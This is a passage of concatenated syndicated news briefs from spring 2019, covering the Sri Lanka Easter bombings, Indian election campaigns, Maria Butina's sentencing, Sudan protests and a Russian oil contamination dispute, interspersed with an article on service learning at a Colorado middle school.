but the Sri Lankan government has blamed local Islamist extremist group National Tawheed Jamath (NTJ) for the bombings that killed 253 people, including 11 Indians. In his statement, Fernando noted that President Sirisena has appointed a special committee to inquire if the security establishments had flouted their responsibility while the Defence Ministry is also conducting an independent inquiry into the matter. After Fernando handing in his resignation to the Presidential Secretariat, senior administrative officer Thusitha Wanigasinghe was appointed as the Acting Defence Secretary on Friday. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) : A retired government nurse was arrested here Friday in connection with her purported claim in an audio clip that she has been stealing and selling newborns for 30 years, police said. Besides nurse Amutha, her husband and an ambulance driver have also been arrested, they said. After the audio clip went viral, Tamil Nadu Health Secretary Beela Rajesh had instructed the director of the Health and Rural Welfare Department to look into the claim. In the clip, the nurse purportedly said she had sold newborn girls for Rs 2.75 lakh and if the babies were fair and good looking, they were sold for Rs 3 lakh. Newborn boys were sold for Rs 3 lakh and if they were beautiful, for Rs 3.75 lakh to Rs 4 lakh, she had aid in the clipping recorded by a "prospective client". The woman had also said in the clip that she even arranged for a birth certificate if an extra amount of Rs 70,000 was paid. She was accused of being involved in "selling" of newborns in connivance with the hospital staff after she getting voluntary retirement. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Russian, Polish, Ukrainian and Belarusian officials will meet in Minsk on Friday to discuss the recent poor quality of Russian oil supplies that caused deliveries from Russia to be cut short this week. Representatives of oil transport companies from the four countries, as well as officials from Russia's energy ministry will meet in the Belarusian capital. Russia's Transneft, Ukraine's Ukrtransnafta, Poland's PERN and Belarus' Belneftekhim will take part in the talks. Rumours about the poor quality of oil, with excess chloride, have circulated since Wednesday and pushed up the price of the commodity. The delivery of Russian oil through the major "Druzhba" ("Friendship") pipeline was interrupted Thursday towards Poland, Germany and Slovakia. Ukrtransnafta announced it will stop Ukraine's transit of the pipeline and warned of the threat of its "complete shutdown". "Today, the refineries are working at about 50 percent of the delivery level before they had degrading characteristics," said the deputy head of Belneftekhim Vladimir Sizov. He estimated losses as a result at about $100 million. Russia's energy ministry said in a statement that it was a working to resolve the issue. Analyst Mike Lynch called the case "quite strange" and that it could be linked to "technical problems at a Russian refinery." "It has caused some nervousness in the markets, but it seems the situation can be resolved rapidly," he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) By Amanda Avallone, learning officer for Next Generation Learning Challenges Principal Anthony Barela was taking me on a tour of Sunset Middle School in Longmont, Colo. We were just leaving the library, where he had shown off some furniture for flexible learning configurations. The new chairs, tables, and the futuristic reading nook hanging from the ceiling were impressive, to be sure. Still, it was a short interaction with students that took place out in the hallway that revealed how deeply this St. Vrain Valley school district middle school has embedded next gen learning in the everyday life of the school. Halfway to the cafeteria, we were (politely) interrupted by three boys. One, a dark-haired young man in a red polo shirt, appeared to be the spokesperson for the group. Waving an index card back and forth, he requested a signature from his principal to authorize access to the schools network for an upcoming project. Asking an adult to sign a pass and grant an exception to a rule is a common occurrence in the daily life of a school. What surprised me, however, was the spontaneous and thoughtful problem-solving session that followed. Anthony skillfully guided the students to articulate the problem they were trying to solve, why they needed what they were asking for, and what alternative solutions might work. In about five minutes, I was able to learn what Anthony obviously already knew about their project: The boys were organizing a Fortnite tournament to raise money for a local homeless shelter and were hoping to test their tech in a way that deviated from the original plan. When the boys left us, they had developed a clear set of next steps for their service project that did not involve a signature on the index card. Many schools mission statements include phrases like being a global citizen or solving problems in society. As a member school in the International Baccalaureate Middle Years Programme, for example, Sunset Middle School aspires to develop internationally-minded people and empower learners to become responsible members of local, national, and global communities. What is striking about Sunset is the breadth, coherence, and intentionality around accomplishing these goals. For this months edition of Friday Focus: Practitioners Guide to Next Gen Learning , I spoke to Sunset Middles Barela and Alex Armstrong, 7th grade math teacher and IB coordinator, about how learners are supported to live that mission of service while still in middle school. Specifically, they talked about how their program strives to: Build awareness of local and global challenges and innovation Develop empathy for others Cultivate agency, skills, and mindsets for problem-solving Knowingand CaringAbout Others Throughout their years at Sunset, learners have numerous opportunities to develop awareness of problems in their community and in the wider world. For example, Alex describes a community-service showcase event, one component in the Community Project Capstone all students undertake in grade 8. Representatives from a dozen community organizations as diverse as the Humane Society of Boulder, the local homeless shelter, and El Comite de Longmont speak to students about the work they do and why. According to Alex, even though these groups are local, students come across ones they didnt even know existed. As Anthony explains, awareness of both problems and real-world examples of service and solutions is key, but it is not enough. Students also have to develop empathy and a sense of responsibility and empowerment to create lasting, positive change in the community and also address the problems they see globally. For instance, he points to the work students do in restorative practices. Here, learners have opportunities to hear about other peoples perspectives and ask themselves, How do my actions have an impact on others, locally and globally? Its really an eye-opening experience for them, he says. Similarly, Alex describes the grade 8 service project as a three-year process that begins with figuring out what you care about. She acknowledges that this is difficult for young learners and that it requires vulnerability to talk about what you care about. Nevertheless, she observes that, with encouragement and modeling from adults, by grade 8, many feel a personal connection to others, are passionate about current issues, and believe they can make a difference. Alex notes that some students now enter 8th grade already knowing what problem they want to address with their capstone project. Both Alex and Anthony cite a variety of projects that originated in students empathy with people in their community, as well as observations of problems that have a global impact. For example, one group of students was inspired to make a movie about poverty because they had seen people in their own community who did not have the basic necessities. In another project, after noticing how much waste was being thrown out at lunch, a group of students worked to transform the school into a Boulder County Eco-Cycle Green Star School . Students with an environmental focus also worked to educate and provide resources to limit the use of plastic straws because of the harm they do to sea life. Empowering Learners to Take Action According to Anthony, in addition to helping students perceive local and global needs, Sunset Middle School equips them with a problem-solving mindset, what he calls solutions orientation. Inspired by principles of design thinking , educators create a culture of innovation and experimentation to empower students to be leaders in their community and globally engaged innovators. Both Anthony and Alex refer to Sunset as a safe place to exercise agency, take risks, and try out new ideas and solutions. This bias toward action applies to students and educators alike. Anthony notes that teachers are afforded the space to try, fail, and refine, and students are encouraged to learn by doing. He considers it a win as a principal that people are willing to take risks. Alex also gives credit to the schools social emotional learning (SEL) program, which includes a strong empowerment and self-advocacy component. We teach students how to exercise agency with family and friends. They can then integrate those skills with their academics and community-service projects. Because interdisciplinary units, service projects, and real-world learning are woven throughout the program at all grade levels, learners also have plenty of opportunities to practice agency and problem-solving in authentic contexts and have an impact on the world outside of the school building. Addressing Real-World Problems One service project that illustrates learners authentic engagement with real-world challenges is Cougars Creating Classrooms , a collaborative service venture that included Niwot Elementary, Sunset Middle, Niwot High, and St. Vrain Valley schools Career Development Center. This service project to build instructional space for Mwebaza Infant Primary School in Uganda arose, like so many other projects, from awareness and empathy. Free public education in Uganda, students learned, typically ends at around age 12 and is, as Alex says, massively underfunded. So when students at Sunset and other district schools heard about one overcrowded school that wanted to extend learning past that age but did not have enough classrooms, they came up with an innovative solution: to design, fabricate, and ship a building with three classrooms to Kyengera, Uganda. What followed was nearly two years of interdisciplinary academic learning, skill-building, fundraising, and problem-solving to design, build, and ship a two-story building made out of shipping containers. Alex listed just a few of the ways that students applied content knowledge to the project, from using geometry, ratio, and proportion to complete engineering tasks and structural studies to researching customs requirements along the route and, of course, documenting every step of the process in writing. Learners also had opportunities to discover jobs they knew little about, like welding, or ones they had never heard of, like being a professional estimator. As she told the story of the container project, Alexs face beamed. Opening her tablet, she showed me an animated map of the world and pointed to a red dot that indicated the route of the ship carrying the classroom. Right now, the container classroom is sailing through the Suez Canal. With considerable humility, Anthony refers to Sunset Middle School as a work in progress. For every strength he talked about, he shared at least one idea for future growth: deepening the advisory program, building educator capacity around assessment of projects, and forging even stronger relationships between adults and students. Nevertheless, if the learners and their service projects are a reflection of the soul of the school, Sunset Middle School is living up to one of the central tenets of its mission, that students will leave prepared for the future and empowered to make the world a better place. Resources This list of influencers provides links to TED talks, podcasts, and print resources about service learning, IB, and other sources of inspiration for Sunset Middle Schools program. Sunset Middle Schools learner-facing Service Actions Handbook shares detailed information about implementing service projects, including defining a need, planning the work, and reflecting on the projects success and what the student learned from it. Edutopia s collection of service-learning resources supports educators to design projects, from elementary grades through high school, that boost learners civic engagement and help them take initiative to strengthen their community. The Real-World Learning Toolkit from NGLC MyWays provides activities, examples, and other learning design resources to support educators to access the Wider Learning Ecosystem and create authentic, meaningful learning aligned to MyWays broader definition of student success. Photos, from top: Moscow on Friday denounced the jailing of Russian agent Maria Butina in the United States, saying the accusations against her were "totally invented" and the conviction is a "shameful stain" on the US judicial system. Earlier in the day Butina pleaded guilty in a Washington court to one count of conspiracy to act as an agent of a foreign government without registering. "The accusations brought against her, intended to influence the internal political process in the United States, are totally invented and fabricated," Russia's foreign ministry said in a statement. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Maria Butina, the only Russian arrested and convicted in the three year investigation of Moscow's interference in US politics, was sentenced to 18 months in prison in Washington on Friday. The leader of a small Russian gun rights group, Butina used her ties to the NRA firearms lobby to build a network of powerful Republican contacts. She had admitted one count of conspiracy to act as an agent of a foreign government without registering. Prosecutors said that although she worked openly and was not tied to any Russian intelligence agency, she was a threat to the United States. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Air strikes by regime ally Russia killed 10 civilians in the jihadist-held region of Idlib in northwestern Syria Friday, a war monitor said. The Syrian Observatory for Human Rights, a Britain-based monitor, said those killed included two children. The raids took the lives of three civilians including a boy on the outskirts of the town of Kafranbel, and seven including a girl in the town of Tal Hawash, Observatory chief Rami Abdel Rahman said. Russia and rebel-backer Turkey in September inked a buffer zone deal to prevent a massive regime offensive on the Idlib region, near the Turkish border. But the region of some three million people has come under increasing bombardment since former Al-Qaeda affiliate Hayat Tahrir al-Sham took full control of it in January. The latest air raids came as two days of talks on ending the war in Syria -- sponsored by Russia, fellow regime ally Iran, and rebel backer Turkey -- concluded in Kazakhstan. In a statement released by the three countries after the meeting, they expressed concern about HTS extending its influence in Idlib. They stressed their "determination to continue cooperation in order to ultimately eliminate" HTS and the Islamic State group, the statement said. Syria's war has killed more than 370,000 people and displaced millions since the conflict began with the repression of anti-government protests in 2011. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) SAD chief Sukhbir Singh Badal and his Union minister wife Harsimrat Kaur Badal together have assets worth Rs 115.95 crore, according to their election affidavits. Sukhbir Singh, who is in fray from the Ferozepur Lok Sabha seat, has moveable and immovable property worth Rs 75.88 crore. His wife and Union minister Harsimrat Kaur, who is contesting from the Bathinda Lok Sabha, has assets worth Rs 40.07 crore. Before filing nomination papers on Friday, the couple paid obeisance at the Golden Temple in Amritsar. Both the candidates along with their supporters took out road shows in Ferozepur and Bathinda. Sukhbir Singh, who is an MLA from Jalalabad, owns horses worth Rs 95.82 lakh while his wife possesses paintings worth Rs 3.40 lakh. He has two weapons worth Rs 4 lakh and his wife has a weapon worth Rs 1.25 lakh, according to their affidavits. He has moveable assets worth Rs 23.12 crore while his wife's moveable assets are valued at Rs 24.17 crore. Harsimrat Kaur owns jewellery worth Rs 7.03 crore and Sukhbir Singh has gold jewellery worth Rs 9 lakh, their affidavits stated. Sukhbir Singh's immovable assets are valued at Rs 52.76 crore and his wife has immovable assets worth Rs 15.90 crore. He has agricultural land, non-agricultural land, shops, residential property in Muktsar, Sirsa (Haryana), Ganganagar (Rajasthan), Chandigarh, Ludhiana, Jalandhar. He has a 2,225 square yard house in Chandigarh's Sector 9 which has a market value of Rs 22.81 crore. Sukhbir Singh and Harsimrat Kaur have cash worth Rs 33,936 and Rs 16,424, respectively. The former Punjab deputy chief minister possesses two tractors worth Rs 2.38 lakh but Harsimrat Kaur has no vehicle in her name. Both have investments in shares, bonds and debentures. According to his affidavit, Sukhbir Singh's liabilities are worth Rs 43.67 crore while his Hindu Undivided Family's (HUF) liabilities are worth Rs 51.81 crore. He has an outstanding income tax demand of Rs 6.69 lakh (year 2002-03) and an appeal in this case is pending before Income Tax appellate Tribunal. He has wealth tax penalty of Rs 2.13 lakh and an appeal against it is pending before the commissioner of Income Tax (Appeals), Bathinda. He is facing trial in four criminal cases in different courts of Punjab, according to the affidavit. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Yoga guru Ramdev on Friday came out in support of controversial BJP leader Sadhvi Pragya Thakur calling her a nationalist who was arrested on the basis of mere suspicion and tortured in jail for nine years as if she were a terrorist. The yoga guru was in the city to accompany Ravi Shankar Prasad while the union minister filed nomination for Patna Sahib Lok Sabha constituency. "It was gunaah ki parakashtha (the height of atrocity). You arrest a person just on the basis of mere suspicion and make her undergo physical and mental torture for nine years. The stress that she had to endure weakened her physically and she got afflicted with cancer. She is not a terrorist but a nationalist lady," Ramdev told reporters here. We should show some empathy for the woman who and try to understand her ordeal and the bitterness it must have given rise to", he said at a conference earlier in the day when asked to comment on the controversial statement by Pragya Thakur, the Malegaon blasts accused, that former Mumbai ATS chief Hemant Karkare was killed in the 26/11 attack because of her "curse". Karkare had suspected her of being a "Hindu terrorist". However, when asked whether he would go to Bhopal to campaign for her, Ramdev quipped "What I have said is enough to provide you with headlines. Please be content with that". The yoga guru was quick to say that he usually did not accompany political leaders when they filed their nomination papers but made an exception in the case of Prasad, whom he considers mangalkari (auspicious) for the city of Pataliputra (the name by which Patna was known in ancient times) just like Modi (PM) is for the country". Showering praises on Prime Minister Narendra Modi, the yoga guru said "Modi has only one agenda and that is to make India a superpower. He works 16-20 hours per day towards that objective. And he has single mindedness as he has no family or any other distractions". To querries on Congress president Rahul Gandhi, he said "I do not want our country to become a single-party democracy. There should be space for opposition. But I must say that Modi appears like a mountain in front of whom all other challengers look like dwarfs." About the Congress not fielding Priyanka Gandhi from Varanasi, he said Had she fought against Modi it would have been an interesting fight. Had Mayawati and Akhilesh thrown their weight behind her, the contest would have been historic. But sadly, we were deprived of being witness to an electoral battle which would have given the media the thrill of a T20 match". He evaded a query on allegations made by RJD that its jailed supremo was being meted out a harsh treatment in Ranchi where he was serving sentences in a number of fodder scam cases at the behest of the BJP, which is in power at the Centre as well as in Jharkhand. On the one hand is the Lalu parivar on the other hand is BJP parivar. Please spare me and do not drag me in it," Ramdev who is known to be close to the RJD supremo, said. To a query about his infrequent visits to Bihar despite having been declared the states brand ambassador by Chief Minister Nitish Kumar years ago, the Yoga guru said At a time when the state had a very bad image and its people used to be ridiculed, I used to stoutly oppose such stereotyping despite not belonging to it. I have and will always continue to defend the glory of Bihar. "I am a devotee of Lord Krishna, who has Bihari as one of his sobriquets", Ramdev remarked in a lighter vein. About the much publicized battle in Begusarai where former JNU students union chief Kanhaiya Kumar is fighting on a CPI ticket, Ramdev said "I know only one Kanhaiya the one who resides in Vrindavan. As far as Giriraj Singh (BJP candidate and union minister) is concerned, he will win hands down". To queries about the presence in the city of CPI(M) Politburo member Brinda Karat, who had in the past targetted the Yoga guru over his business model, he said "Who is this Brinda I do not know". (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Friday stayed the proceedings of an inquiry commission set up to probe the death of then Chief Minister J at in Chennai in 2016. A bench headed by was hearing the appeal of against the April 4 order of the rejecting its objection against the ongoing inquiry into the death of the AIADMK leader at the hospital. "Notice. Stay of further proceedings of the inquiry commission," the bench, which also comprised Justices Deepak Gupta and Sanjiv Khanna, said. The AIADMK-led state government had set up the inquiry commission to look into the circumstances leading to the death of on December 5, 2016 at (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Vice President M Venkaiah Naidu said Friday India has never attacked any country as it believes in peaceful co-existence. Speaking at a concert organised by South Asian Symphony Orchestra at NCPA here, Naidu said terror was an enemy of humanity and had no religion. "India never, never attacked any country as we believe in peaceful co-existence. Share and care is the core of Indian philosophy, that is the way forward. We must also progress. Now we can see in different parts of the globe terror is on the rise, terror is enemy of humanity, it has no religion. It must be curbed by corrective actions," Naidu said. He further said the South Asian Symphony Orchestra "must carry the message of peace and non-violence and dispel the dark clouds of misguided minds who are unleashing sporadic spurts of mindless violence". Naidu said music speaks a universal language and transcends geographical boundaries and unites people. "Music is a powerful art form that can transform the quality of our lives," he added. Former foreign secretary Nirupama Rao and her husband Sudhakar Rao founded the Bengaluru-based South Asian Symphony Foundation (SASF), whose orchestra is all set for its debut performance, 'Chiragh: A Concert Beyond Borders'. "We have gathered here to witness an important occasion, one in which we show that we in India as a country and people are dedicated to co-operation and co-existence among all nations. The South Asian Symphony Foundation is a unique project, a symphony orchestra that reunites people of South Asia through the divine medium of music," Naidu said. He said cultural collaboration and dialogue among South Asians will be strengthened through this concert. "India has always maintained that musical gatherings are an effective form of yoga or spiritual discipline. That is exactly what an orchestra sets out to do," he added. Naidu said South Asia needed to be more integrated economically, culturally and people-to-people ties and understanding must grow. He said, "The Orchestra is a beautiful community of sisters and brothers of different nationalities, dedicated to a creative expression through music. It speaks the language of peace, it unites minds." "Peace is a prerequisite for progress. There is need for peace across the globe. Over the years, the world is moving faster, one way life is becoming comfortable and other way there is tension, conflicts," he said. He said, prosperity alone cannot make one happy, adding that music and other arts must prevail as it makes people happy. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Delhi Deputy Chief Minister Manish Sisodia has written to the Delhi University asking whether the 188 names sent by it for nominations to the governing bodies of 28 colleges were cleared by the varsity's executive council. These 28 colleges are partially or fully funded by the Delhi government and no funds are being released for these colleges from the government since they do not have governing bodies currently. On April 23, the varsity wrote to the Directorate of Higher asking it to finalise the names to be nominated for the governing bodies of colleges. In response to the varsity's letter, Sisodia said the university should have sent about 400 names to the panel instead of 188 so that there are sufficient choices. He said the varsity should extend the term of existing governing bodies. Twelve colleges of the varsity are fully funded by the Delhi government, including the Deen Dayal Upadhyaya College and the Maharaja Agrasen College. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Sri Lankan police have been left red-faced after wrongly identifying a female American Muslim activist as a suspect in the deadly Easter bombings. On Thursday, police issued a flyer with the names and photos of six people -- three men and three women -- wanted in connection with attacks that killed over 250 people. Among those listed was a woman identified as Abdul Cader Fathima Khadhiya, accompanied by a photo of a woman in a headscarf purported to be the individual wanted for questioning. But the photo in fact showed Amara Majeed, an American Muslim whose parents are Sri Lankan immigrants and who penned an open letter to President Donald Trump in 2015 about his rhetoric on Muslims. "Hello everyone! I have this morning been FALSELY identified by the Sri Lankan government as one of the ISIS Easter attackers in Sri Lanka," Majeed wrote on her Facebook page. "What a thing to wake up to! This is obviously completely false and frankly, considering that Muslim communities are already greatly afflicted with issues of surveillance, I don't need more false accusations and scrutiny." Sri Lankan police on Thursday issued a statement confirming that the photo published alongside the name "Abdul Cader Fathima Khadhiya" was not in fact of the suspect. "The individual pictured is not wanted for questioning," the statement signed by police spokesman Ruwan Gunasekera said. It added that an individual called Abdul Cader Fathima Khadhiya was however still wanted for questioning. The blunder comes after Sri Lankan authorities dramatically revised the death toll in the attacks, from nearly 360 dead to 253. The revision came after authorities said some victims had been "double-counted" because bodies were blown apart in the attacks and misidentified. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Islamic State (ISIS) has been "airlifted" from Iraq and Syria into Afghanistan and one example of it is the barbaric attack in Sri Lanka on Easter Sunday, Iran's Foreign Minister Mohammad Javad Zarif said here. Speaking at the Asia Society here on Wednesday, he said that the attacks in Sri Lanka has vindicated what they have been saying. Unfortunately, we have been saying that and people believe that we were just trying to make propaganda and a conspiracy theory approach. ISIS has been airlifted from Iraq and Syria into Afghanistan," he said. "You see one example of it unfortunately in the barbaric attack on Easter Sunday in Sri Lanka, Zarif said responding to a question on the status of ISIS and the connection with the terror attacks in the island nation. The Sri Lankan authorities say that National Thowheed Jamath (NTJ) was behind the attacks on three churches and three luxury hotels. But ISIS have claimed responsibility for the attacks and named the suicide bombers involved. But unfortunately, the people of Afghanistan are seeing incident after incident, terrorist attack after terrorist attack by ISIS, directed against particular sects in Afghanistan in order to create the sectarian war that ISIS has been looking for since 2002, he said. Zarif criticised the wrong policies of the US in war-torn Afghanistan, saying talking to the Taliban about Afghanistan's future but excluding the Afghan government from it has achieved nothing. "Seriously wrong policies by the United States, wrong approaches, an attempt to exclude everybody and just talk to the Taliban has alienated the government, the region and it achieved nothing," he said. "You cannot negotiate the future of Afghanistan with the Taliban. The Taliban represents only a segment of the Afghan society, not all of it. You cannot exclude the government, you cannot exclude the other groups in Afghanistan and just talk to the Taliban, he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Sri Lankan security forces raided a hideout in a predominantly Muslim neighbourhood in the Eastern province on Friday evening, triggering a standoff with heavily-armed men believed to be linked to the deadly Easter attacks. Police spokesman said that at least one suicide bomber blew himself up during the shootout in the coastal town of Sammanthurai, 325 kilometers from Colombo. Police said they have seized a large haul of explosives, a drone and a banner with the Islamic State logo. "Garbs similar to that which were worn in the video displaying IS members in Sri Lanka, along with an identical IS backdrop in the video was discovered during the raid," a police official said. Nine suicide bombers carried out a series of devastating blasts that tore through three churches and three luxury hotels on the Easter Sunday, killing 253 people. The Islamic State claimed the attacks, but the government has blamed local Islamist extremist group called National Tawheed Jamath (NTJ) for the attacks. Hours after the deadly blasts, police launched a manhunt to nab the perpetrators and so far arrested over 70 suspects, including five women. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Thousands of Sudanese protesters performed the weekly Muslim prayers outside army headquarters on Friday, a day after vast crowd of demonstrators flooded Khartoum to demand the military rulers cede power. Protesters have massed outside the army complex in central Khartoum since April 6, initially to demand the overthrow of longtime leader Omar al-Bashir. But since his ouster by the army on April 11, the protesters have kept up their sit-in, demanding that the military council that took over hand power to a civilian administration. Despite international support for the protesters, the 10-member council has so far resisted, although three of its members resigned on Wednesday under pressure from the street. The resignations triggered jubilation among the protesters, who massed in their tens of thousands on Thursday in response to a call from their leaders for a "million-strong" march. Despite the scorching heat, the protesters were back in numbers on Friday, an AFP correspondent reported. "Freedom, freedom," they chanted as prayer leader Sheikh Matter Younis delivered the sermon. "We will not retreat until we get our main demand of civilian rule," said Younis, an activist from Sudan's war-torn western region of Darfur. He also called for the "symbols" of the old regime to be punished. "They must face fair and transparent justice, they have to be held accountable," he said, as the protesters chanted "Blood for blood! We will not accept compensation!". Another Darfuri, Harun Adam, said his family lived in Kalma, one of the sprawling camps that are still home to hundreds of thousands of people who were driven from their homes by the Bashir government's brutal response to the ethnic minority rebellion which erupted in 2003. "I'm here since April 6," when the sit-in started, Adam told AFP. "I'm ready to stay here for a year until we get our main demand, which is a civilian government and that all those who committed crimes be held accountable." Behind him crowds chanted "One, two, three, four, we are all Darfur!" The military council, led by General Abdel Fattah al-Burhan, says it has assumed power for a two-year transitional period. Protest leaders have held several rounds of talks with the council and the two sides have agreed to set up a joint committee to chart the way forward but there has so far been no breakthrough. Washington has thrown its weight behind the protesters. State Department official Makila James said on Tuesday that Washington supports "the legitimate demand of the people of Sudan for a civilian-led government" and urged all parties to work together to that end. But at a summit hosted by Egyptian President Abdel Fattah al-Sisi on Tuesday, African leaders conceded that more time was needed for a transition to civilian rule. Their statement angered the protesters who held a rally outside the Egyptian embassy on Thursday. The African Union had taken a strong line setting an end of April deadline for the military council to hand power to civilians or face suspension from the 55-nation bloc. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Actor-turned-politician Sumalatha Ambareesh, who made her electoral debut from Mandya Lok Sabha seat on April 18, says she is hoping that votes from women and farmers will propel her to Parliament. Wife of late Kannada superstar and Congress MP Ambareesh, Sumalatha contested as an Independent after the party denied her a ticket from the constituency. The seat went to Congress's coalition partner Janata Dal (Secular). She had locked horns with senior JD(S) leader and Karnataka Chief Minister H D Kumaraswamy's son Nikhil, also a debutante. "As much as 80 per cent voter turnout was recorded in the Mandya parliamentary constituency. This is also the highest voter turnout in this Lok Sabha election in Karnataka," Sumalatha said. "Out of this, a large chunk of women and farmers have exercised their franchise. As many as 6.5 lakh women have voted. This, I think, will work in my favour," she told PTI in an interview. Both farmers and women are angry with the Kumaraswamy-led coalition government for not delivering on its farm loan waiver and 'Stree Shakti Loan' promises, Sumalatha claimed. She also hopes to gain from people's anger over "negative campaigning" by the JD(S) against her. "During my campaigns, I closely sensed that people were angry with the bitter, negative campaigning done against me by the JD(S), which was not required against a woman candidate," she said. "I also sensed people's aversion to caste-based These factors would also work in my favour," she added. Sumalatha said the discord between JD(S) and Congress workers in Mandya would play a huge role in Nikhil's defeat. "In Mandya, there was no coalition at all," she said. The Mandya Congress workers hated it when they were asked to work for the JD(S) candidate because they were totally ignored by the coalition partner since the day the government was formed in Karnataka, she claimed. Sumalatha said Nikhil is an "outsider" for voters in Mandya. She said during campaigning, people told her that they will make sure that she wins. She added that the dynastic of JD(S) would also work against the party. "First it was the father and sons. Then we saw their wives contesting elections. Now, the grandsons (are contesting). This has angered the people and also JD(S) leaders, who feel there is hardly any scope for them to grow in the party," she said. Asked if she would join the BJP if Narendra Modi returns to power at the Centre, Sumalatha said, "As far as my knowledge goes, there is a rule that prohibits an independent candidate from joining any party. Whichever party comes to power, I have to work with them to get grants and benefits." Ahead of the polling in Mandya, the BJP decided not to field a candidate from the seat and declared that it would support Sumalatha. Asked if her victory would mean the end of domination of JD(S) patriarch H D Deve Gowda's family among the Vokkaligas in the Old Mysuru belt, she said she is not an expert on caste arithmetic, but is against voting on this basis. "The voting should take place on the basis of merits of the candidate and his capabilities to do good for the people and not on caste basis. Even Ambareesh was against it," she said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Andhra Pradesh Chief Minister N Chandrababu Naidu Friday urged the Election Commission of India (ECI) to direct the state chief electoral officer (CEO) not to "exceed his jurisdiction" and interrupt functioning of the state government. Naidu, in a letter to the ECI, lodged a complaint against the Andhra Pradesh CEO for making "absurd and arbitrary" comments in media that "the chief minister does not have the power to review the departments" during election period and also for "instructing additional director general (intelligence) not report to the chief minister". Both assembly and parliamentary elections in Andha Pradesh were held during the first phase on April 11. The counting is scheduled on May 23. "Since there is an unusually large gap of around 42 days before the counting takes place and results are announced, normal administration shall not be allowed to come to a standstill and crippled," Naidu informed the ECI. After the elections in the state, the chief minister said he resumed the review of various departments of public importance like drinking water, Polavaram project and construction of the new capital, but was "shocked and surprised" to hear the comments of the CEO. "The CEO's reported comments are without any jurisdiction as there is no such provision in Model Code of Conduct that the chief minister cannot hold review meetings. "Though I am duty bound and empowered to conduct review meetings, I am constrained by the embarrassing apprehensions faced by concerned participating officers due to the reported misinformation spread by the CEO in the media," Naidu said and accused the AP CEO of exceeding his jurisdiction. In the letter, Naidu further mentioned that the AP CEO has also instructed additional director general (intelligence) not report to the chief minister. "Because of his illegal orders, Additional DG (Intelligence) is not reporting to me. I would like to know from the ECI, whether the reporting authority of Addl' DG (Intelligence) is also changed by ECI and if so, who is his reporting authority, if not the CM," he said. Naidu sought to know if the ECI has issued orders prohibiting the intelligence chiefs functioning under the chief ministers in other states as well. "If not, why this discriminating orders are issued only in case of Andhra Pradesh chief minister where the intelligence chief is specifically ordered not to meet the chief minister and not work under him," he asked. Claiming that the ECI has "intentionally paralysed" the state administration, the Andhra Pradesh chief minister said there are many critical issues that require urgent attention of the state government and cannot be postponed till May 23. Since there is a gap of nearly six weeks between conclusion of the elections and counting process of the polled votes, it is not constitutionally and legally correct to deprive the people of the state the right to be governed by their democratically elected government, he stressed. Impending issues such as water distress in many places due to heat wave as well as recent death of seven people due to thunderbolt in the state -- could have been handled better had the state government been allowed to function, he added. In the letter, Naidu accused the ECI for being biased and unilaterally transferring its DG intelligence, superintendents of police of various districts and chief secretary without seeking a panel from the state government The TDP chief also accused the ECI of taking action on "frivolous and frequent complaints by the office bearers of the opposition party YSR Congress". (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Ten elementary school children in the southern US state of Georgia were hit by what appeared to be a pellet or BB gun when someone in a wooded area started shooting at their playground, an official said. The incident sparked panic at the Wynbrooke Elementary School in DeKalb County as police descended on the scene of what initially appeared to be yet another mass shooting. Caleb Edmonson, an 11-year-old student, told local WSB-TV 2: "Everybody started to get a little bit panicked, but people started thinking it was a drill, but then a couple of minutes later we saw ambulances, police officers coming in, running down our hallways." The students were taken to a nearby hospital to be treated for non life-threatening injuries or picked up their parents, Portia Kirkland, a spokeswoman for DeKalb County School District told AFP, adding a police investigation was underway. The incident came days after the 20th anniversary of the Columbine shooting when two armed teens killed 12 students at their Colorado high school. Since then, an estimated 226,000 children in 233 schools have been exposed to the sight or sound of gunfire, according to a Washington Post investigation. The worst shootings to date were those at Sandy Hook Elementary School in Newton, Connecticut in 2012 (20 young children and six adults were killed) and at Marjorie Stoneman Douglas High School in Parkland, Florida last year (17 dead). (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Prime Minister Narendra Modi Friday said the Congress was targeting him over demonetisation owing to the reverses suffered by "people close to it" in the realty sector as a result of the note ban. Housing prices fell due to the note ban, leading to the "devastation" of people close to the Congress who had invested in the sector, Modi said, addressing a rally here. Modi said a majority of Indians supported his move despite the difficulties which it entailed. He said a campaign was launched when he started acting against black money and corruption and public was instigated by showing videos of people standing in queues outside banks. A few people sitting in AC rooms of Delhi celebrated the decision, saying 'Modi's fate is sealed', but the majority countrymen have proved them wrong, he said. "Note ban led to a reduction in house prices, but those close to the Congress who had invested in the sector are devastated. The Congress is at pains because 3 lakh companies were sealed following note ban," he said. Modi said no one blames him for the note ban decision and added that there are only 15 lakh people -- assuming five in each of the three lakh companies -- who are his "enemies". The prime minister appealed people to help him against the dishonest and also decried Congress' attempts at finding fault with the Swachh Bharat campaign. He also attacked the Congress over its record of governance in Madhya Pradesh in a short span of just a few months and also made a reference to recent tax raids in Delhi, which he has been terming as the "Tughlaq Road election scam". Dacoits and kidnappers have got a new energy after Congress came to power in Madhya Pradesh last year, he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) President Donald Trump says the U.S. did not pay USD 2 million in medical costs to North Korea in 2017 to get American college student Otto Warmbier released. Warmbier died shortly after he was flown home comatose after 17 months in captivity A former U.S. official told The Associated Press on Thursday that a U.S. envoy sent to retrieve Warmbier signed an agreement to pay the $2 million on Trump's instructions. The official spoke on condition of anonymity to discuss a sensitive diplomatic matter. The Washington Post first reported the demand. Trump insisted in 